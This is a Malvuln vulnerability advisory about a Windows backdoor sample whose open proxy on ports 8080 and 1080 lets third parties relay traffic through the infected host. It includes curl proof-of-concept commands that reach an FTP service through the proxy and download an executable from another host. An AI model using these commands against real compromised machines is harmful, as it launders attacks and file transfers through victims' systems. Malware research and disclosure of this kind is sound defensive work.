Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6a96fc226fbe9f0efbcc8a7b2e34b807.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: HEUR.Backdoor.Win32.Generic
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 6a96fc226fbe9f0efbcc8a7b2e34b807
Vuln ID: MVID-2021-0378
Dropped files: ssytme
Disclosure: 10/27/2021

Exploit/PoC:
curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0  24576      0  0:00:01 --:--:--  0:00:01  380k

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).